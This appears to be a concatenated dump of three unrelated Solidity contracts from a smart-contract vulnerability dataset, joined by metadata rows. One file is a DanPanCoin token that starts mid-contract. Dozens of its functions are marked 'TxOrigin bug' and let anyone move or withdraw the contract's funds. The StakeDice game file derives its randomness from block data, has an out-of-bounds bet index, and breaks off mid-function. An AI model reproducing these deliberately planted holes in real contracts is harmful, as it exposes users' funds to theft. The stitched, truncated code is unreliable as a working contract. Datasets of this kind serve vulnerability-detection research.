require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function sendto_txorigin37(address receiver, uint amount,address owner_txorigin37) public {
require (tx.origin == owner_txorigin37); //TxOrigin bug
receiver.transfer(amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function bug_txorigin36(address owner_txorigin36) public{
require(tx.origin == owner_txorigin36); //TxOrigin bug
}
function name() public view returns(string memory) {
return _name;
}
function transferTo_txorigin35(address to, uint amount,address owner_txorigin35) public {
require(tx.origin == owner_txorigin35); //TxOrigin bug
to.call.value(amount);
}
function symbol() public view returns(string memory) {
return _symbol;
}
function withdrawAll_txorigin34(address _recipient,address owner_txorigin34) public {
require(tx.origin == owner_txorigin34); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
function decimals() public view returns(uint8) {
return _decimals;
}
function sendto_txorigin33(address receiver, uint amount,address owner_txorigin33) public {
require (tx.origin == owner_txorigin33); //TxOrigin bug
receiver.transfer(amount);
}
}
contract DanPanCoin is ERC20Detailed , Ownable{
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "Dan Pan Coin";
function sendto_txorigin9(address receiver, uint amount,address owner_txorigin9) public {
require (tx.origin == owner_txorigin9); //TxOrigin bug
receiver.transfer(amount);
}
string constant tokenSymbol = "DPC";
function bug_txorigin8(address owner_txorigin8) public{
require(tx.origin == owner_txorigin8); //TxOrigin bug
}
uint8 constant tokenDecimals = 2;
function transferTo_txorigin7(address to, uint amount,address owner_txorigin7) public {
require(tx.origin == owner_txorigin7); //TxOrigin bug
to.call.value(amount);
}
uint256 _totalSupply = 10000000000;
function withdrawAll_txorigin6(address _recipient,address owner_txorigin6) public {
require(tx.origin == owner_txorigin6); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
uint256 public basePercent = 100;
function sendto_txorigin5(address receiver, uint amount,address owner_txorigin5) public {
require (tx.origin == owner_txorigin5); //TxOrigin bug
receiver.transfer(amount);
}
uint256 public dpPercent = 5;
function bug_txorigin40(address owner_txorigin40) public{
require(tx.origin == owner_txorigin40); //TxOrigin bug
}
address public DanPanAddress = msg.sender;
function bug_txorigin12(address owner_txorigin12) public{
require(tx.origin == owner_txorigin12); //TxOrigin bug
}
event DanPanPercentChanged(uint256 previousDanPanPercent, uint256 newDanPanPercent);
function transferTo_txorigin11(address to, uint amount,address owner_txorigin11) public {
require(tx.origin == owner_txorigin11); //TxOrigin bug
to.call.value(amount);
}
event DanPanAddressChanged(address indexed previousDanPan, address indexed newDanPan);
function withdrawAll_txorigin10(address _recipient,address owner_txorigin10) public {
require(tx.origin == owner_txorigin10); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
event WhitelistFrom(address _addr, bool _whitelisted);
function sendto_txorigin1(address receiver, uint amount,address owner_txorigin1) public {
require (tx.origin == owner_txorigin1); //TxOrigin bug
receiver.transfer(amount);
}
event WhitelistTo(address _addr, bool _whitelisted);
// fee whitelist
function bug_txorigin4(address owner_txorigin4) public{
require(tx.origin == owner_txorigin4); //TxOrigin bug
}
mapping(address => bool) public whitelistFrom;
function transferTo_txorigin39(address to, uint amount,address owner_txorigin39) public {
require(tx.origin == owner_txorigin39); //TxOrigin bug
to.call.value(amount);
}
mapping(address => bool) public whitelistTo;
constructor() public ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function bug_txorigin32(address owner_txorigin32) public{
require(tx.origin == owner_txorigin32); //TxOrigin bug
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function transferTo_txorigin31(address to, uint amount,address owner_txorigin31) public {
require(tx.origin == owner_txorigin31); //TxOrigin bug
to.call.value(amount);
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function withdrawAll_txorigin30(address _recipient,address owner_txorigin30) public {
require(tx.origin == owner_txorigin30); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transferTo_txorigin3(address to, uint amount,address owner_txorigin3) public {
require(tx.origin == owner_txorigin3); //TxOrigin bug
to.call.value(amount);
}
function findOnePercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent;
}
function sendto_txorigin29(address receiver, uint amount,address owner_txorigin29) public {
require (tx.origin == owner_txorigin29); //TxOrigin bug
receiver.transfer(amount);
}
function findDPPercent(uint256 value) public view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 DPPercent = roundValue.mul(basePercent).div(10000).mul(dpPercent);
return DPPercent;
}
function bug_txorigin28(address owner_txorigin28) public{
require(tx.origin == owner_txorigin28); //TxOrigin bug
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
// If transfer amount is zero
// emit event and stop execution
if (value == 0) {
emit Transfer(msg.sender, to, 0);
return true;
}
// Calculate receiver balance
// initial receive is full value
uint256 tokensToTransfer = value;
uint256 tokensToBurn = 0;
uint256 tokensToDanPan = 0;
// Change sender balance
_balances[msg.sender] = _balances[msg.sender].sub(value);
// If the transaction is not whitelisted
// calculate fees
if (!_isWhitelisted(msg.sender, to)) {
tokensToBurn = findOnePercent(value);
tokensToDanPan = findDPPercent(value);
// Subtract fees from receiver amount
tokensToTransfer = value.sub(tokensToBurn).sub(tokensToDanPan);
// Burn tokens
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(msg.sender, address(0), tokensToBurn);
// Transfer balance to DanPan
_balances[DanPanAddress] = _balances[DanPanAddress].add(tokensToDanPan);
emit Transfer(msg.sender, DanPanAddress, tokensToDanPan);
}
// Sanity checks
// no tokens where created
assert(tokensToBurn.add(tokensToTransfer).add(tokensToDanPan) == value);
// Add tokens to receiver
_balances[to] = _balances[to].add(tokensToTransfer);
emit Transfer(msg.sender, to, tokensToTransfer);
return true;
}
function transferTo_txorigin27(address to, uint amount,address owner_txorigin27) public {
require(tx.origin == owner_txorigin27); //TxOrigin bug
to.call.value(amount);
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
}
}
function withdrawAll_txorigin26(address _recipient,address owner_txorigin26) public {
require(tx.origin == owner_txorigin26); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function sendto_txorigin25(address receiver, uint amount,address owner_txorigin25) public {
require (tx.origin == owner_txorigin25); //TxOrigin bug
receiver.transfer(amount);
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
// If transfer amount is zero
// emit event and stop execution
if (value == 0) {
emit Transfer(from, to, 0);
return true;
}
// Calculate receiver balance
// initial receive is full value
uint256 tokensToTransfer = value;
uint256 tokensToBurn = 0;
uint256 tokensToDanPan = 0;
// Change sender balance
_balances[from] = _balances[from].sub(value);
// If the transaction is not whitelisted
// calculate fees
if (!_isWhitelisted(from, to)) {
tokensToBurn = findOnePercent(value);
tokensToDanPan = findDPPercent(value);
// Subtract fees from receiver amount
tokensToTransfer = value.sub(tokensToBurn).sub(tokensToDanPan);
// Burn tokens
_totalSupply = _totalSupply.sub(tokensToBurn);
emit Transfer(from, address(0), tokensToBurn);
// Transfer balance to DanPan
_balances[DanPanAddress] = _balances[DanPanAddress].add(tokensToDanPan);
emit Transfer(from, DanPanAddress, tokensToDanPan);
}
// Sanity checks
// no tokens where created
assert(tokensToBurn.add(tokensToTransfer).add(tokensToDanPan) == value);
// Add tokens to receiver
_balances[to] = _balances[to].add(tokensToTransfer);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, tokensToTransfer);
return true;
}
function bug_txorigin24(address owner_txorigin24) public{
require(tx.origin == owner_txorigin24); //TxOrigin bug
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function transferTo_txorigin23(address to, uint amount,address owner_txorigin23) public {
require(tx.origin == owner_txorigin23); //TxOrigin bug
to.call.value(amount);
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function withdrawAll_txorigin22(address _recipient,address owner_txorigin22) public {
require(tx.origin == owner_txorigin22); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function sendto_txorigin21(address receiver, uint amount,address owner_txorigin21) public {
require (tx.origin == owner_txorigin21); //TxOrigin bug
receiver.transfer(amount);
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function bug_txorigin20(address owner_txorigin20) public{
require(tx.origin == owner_txorigin20); //TxOrigin bug
}
function _burn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function withdrawAll_txorigin2(address _recipient,address owner_txorigin2) public {
require(tx.origin == owner_txorigin2);//TxOrigin bug
_recipient.transfer(address(this).balance);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
function transferTo_txorigin19(address to, uint amount,address owner_txorigin19) public {
require(tx.origin == owner_txorigin19); //TxOrigin bug
to.call.value(amount);
}
function NewDanPanAddress(address newDanPanaddress) external onlyOwner {
require(newDanPanaddress != address(0));
emit DanPanAddressChanged(DanPanAddress, newDanPanaddress);
DanPanAddress = newDanPanaddress;
}
function withdrawAll_txorigin18(address _recipient,address owner_txorigin18) public {
require(tx.origin == owner_txorigin18); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
function NewDanPanPercent(uint256 newDanPanpercent) external onlyOwner {
emit DanPanPercentChanged(dpPercent, newDanPanpercent);
dpPercent = newDanPanpercent;
}
function sendto_txorigin17(address receiver, uint amount,address owner_txorigin17) public {
require (tx.origin == owner_txorigin17); //TxOrigin bug
receiver.transfer(amount);
}
function _isWhitelisted(address _from, address _to) internal view returns (bool) {
return whitelistFrom[_from]||whitelistTo[_to];
}
function bug_txorigin16(address owner_txorigin16) public{
require(tx.origin == owner_txorigin16); //TxOrigin bug
}
function setWhitelistedTo(address _addr, bool _whitelisted) external onlyOwner {
emit WhitelistTo(_addr, _whitelisted);
whitelistTo[_addr] = _whitelisted;
}
function transferTo_txorigin15(address to, uint amount,address owner_txorigin15) public {
require(tx.origin == owner_txorigin15); //TxOrigin bug
to.call.value(amount);
}
function setWhitelistedFrom(address _addr, bool _whitelisted) external onlyOwner {
emit WhitelistFrom(_addr, _whitelisted);
whitelistFrom[_addr] = _whitelisted;
}
function withdrawAll_txorigin14(address _recipient,address owner_txorigin14) public {
require(tx.origin == owner_txorigin14); //TxOrigin bug
_recipient.transfer(address(this).balance);
}
}
| 223,655 | 12,495 |
433a053a0cd571a0862d04dfac279b63732cd4bb3cbb9d030e4aad3a5b191ef9
| 26,248 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/db/db66169c146c96386a1daf944124c12e37e769bb_ATR.sol
| 4,558 | 16,748 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ATR is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Andre Time Rug';
string private _symbol = 'ATR';
uint8 private _decimals = 9;
uint256 public _maxTxAmount = 100000000 * 10**6 * 10**9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(200).mul(2);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 320,381 | 12,496 |
d31eee1fef26e59d13110d633f4dcee133fb1308cfa467f29de65c8b1140cf47
| 12,538 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x7935c82679a6a31dbd58f50e2ebc89e79fe4e547.sol
| 3,145 | 12,114 |
pragma solidity 0.4.24;
// Minimal required STAKE token interface
contract StakeToken
{
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function balanceOf(address _owner) public view returns (uint256 balance);
}
contract StakeDiceGame
{
// Prevent people from losing Ether by accidentally sending it to this contract.
function () payable external
{
revert();
}
///////////////////////////////
/////// GAME PARAMETERS
StakeDice public stakeDice;
// Number between 0 and 10 000. Examples:
// 700 indicates 7% chance.
// 5000 indicates 50% chance.
// 8000 indicates 80% chance.
uint256 public winningChance;
// Examples of multiplierOnWin() return values:
// 10 000 indicates 1x returned.
// 13 000 indicated 1.3x returned
// 200 000 indicates 20x returned
function multiplierOnWin() public view returns (uint256)
{
uint256 beforeHouseEdge = 10000;
uint256 afterHouseEdge = beforeHouseEdge - stakeDice.houseEdge();
return afterHouseEdge * 10000 / winningChance;
}
function maximumBet() public view returns (uint256)
{
uint256 availableTokens = stakeDice.stakeTokenContract().balanceOf(address(stakeDice));
return availableTokens * 10000 / multiplierOnWin() / 5;
}
///////////////////////////////
/////// OWNER FUNCTIONS
// Constructor function
// Provide a number between 0 and 10 000 to indicate the winning chance and house edge.
constructor(StakeDice _stakeDice, uint256 _winningChance) public
{
// Ensure the parameters are sane
require(_winningChance > 0);
require(_winningChance < 10000);
require(_stakeDice != address(0x0));
require(msg.sender == address(_stakeDice));
stakeDice = _stakeDice;
winningChance = _winningChance;
}
// Allow the owner to change the winning chance
function setWinningChance(uint256 _newWinningChance) external
{
require(msg.sender == stakeDice.owner());
require(_newWinningChance > 0);
require(_newWinningChance < 10000);
winningChance = _newWinningChance;
}
// Allow the owner to withdraw STAKE tokens that
// may have been accidentally sent here.
function withdrawStakeTokens(uint256 _amount, address _to) external
{
require(msg.sender == stakeDice.owner());
require(_to != address(0x0));
stakeDice.stakeTokenContract().transfer(_to, _amount);
}
}
contract StakeDice
{
///////////////////////////////
/////// GAME PARAMETERS
StakeToken public stakeTokenContract;
mapping(address => bool) public addressIsStakeDiceGameContract;
StakeDiceGame[] public allGames;
uint256 public houseEdge;
uint256 public minimumBet;
//////////////////////////////
/////// PLAYER STATISTICS
address[] public allPlayers;
mapping(address => uint256) public playersToTotalBets;
mapping(address => uint256[]) public playersToBetIndices;
function playerAmountOfBets(address _player) external view returns (uint256)
{
return playersToBetIndices[_player].length;
}
function totalUniquePlayers() external view returns (uint256)
{
return allPlayers.length;
}
//////////////////////////////
/////// GAME FUNCTIONALITY
// Events
event BetPlaced(address indexed gambler, uint256 betIndex);
event BetWon(address indexed gambler, uint256 betIndex);
event BetLost(address indexed gambler, uint256 betIndex);
event BetCanceled(address indexed gambler, uint256 betIndex);
enum BetStatus
{
NON_EXISTANT,
IN_PROGRESS,
WON,
LOST,
CANCELED
}
struct Bet
{
address gambler;
uint256 winningChance;
uint256 betAmount;
uint256 potentialRevenue;
uint256 roll;
BetStatus status;
}
Bet[] public bets;
uint public betsLength = 0;
mapping(bytes32 => uint256) public oraclizeQueryIdsToBetIndices;
function betPlaced(address gameContract, uint256 _amount) external
{
// Only StakeDiceGame contracts are allowed to call this function
require(addressIsStakeDiceGameContract[gameContract] == true);
// Make sure the bet is within the current limits
require(_amount >= minimumBet);
require(_amount <= StakeDiceGame(gameContract).maximumBet());
// Tranfer the STAKE tokens from the user's account to the StakeDice contract
stakeTokenContract.transferFrom(msg.sender, this, _amount);
// Calculate how much the gambler might win
uint256 potentialRevenue = StakeDiceGame(gameContract).multiplierOnWin() * _amount / 10000;
// Store the bet
emit BetPlaced(msg.sender, bets.length);
playersToBetIndices[msg.sender].push(bets.length);
bets.push(Bet({gambler: msg.sender, winningChance: StakeDiceGame(gameContract).winningChance(), betAmount: _amount, potentialRevenue: potentialRevenue, roll: 0, status: BetStatus.IN_PROGRESS}));
betsLength +=1;
// Update statistics
if (playersToTotalBets[msg.sender] == 0)
{
allPlayers.push(msg.sender);
}
playersToTotalBets[msg.sender] += _amount;
//uint _result = 1; //the random number
uint256 betIndex = betsLength;
Bet storage bet = bets[betIndex];
require(bet.status == BetStatus.IN_PROGRESS);
// Now that we have generated a random number, let's use it..
uint randomNumber = uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%100);
// Store the roll in the blockchain permanently
bet.roll = randomNumber;
// If the random number is smaller than the winningChance, the gambler won!
if (randomNumber < bet.winningChance/100)
{
// If we somehow don't have enough tokens to payout their winnings,
// cancel the bet and refund the gambler automatically
if (stakeTokenContract.balanceOf(this) < bet.potentialRevenue)
{
_cancelBet(betIndex);
}
// Otherwise, (if we do have enough tokens)
else
{
// The gambler won!
bet.status = BetStatus.WON;
// Send them their winnings
stakeTokenContract.transfer(bet.gambler, bet.potentialRevenue);
// Trigger BetWon event
emit BetWon(bet.gambler, betIndex);
}
}
else
{
// The gambler lost!
bet.status = BetStatus.LOST;
// Send them the smallest possible token unit as consolation prize
// and as notification that their bet has lost.
stakeTokenContract.transfer(bet.gambler, 1); // Send 0.00000001 STAKE
// Trigger BetLost event
emit BetLost(bet.gambler, betIndex);
}
}
function _cancelBet(uint256 _betIndex) private
{
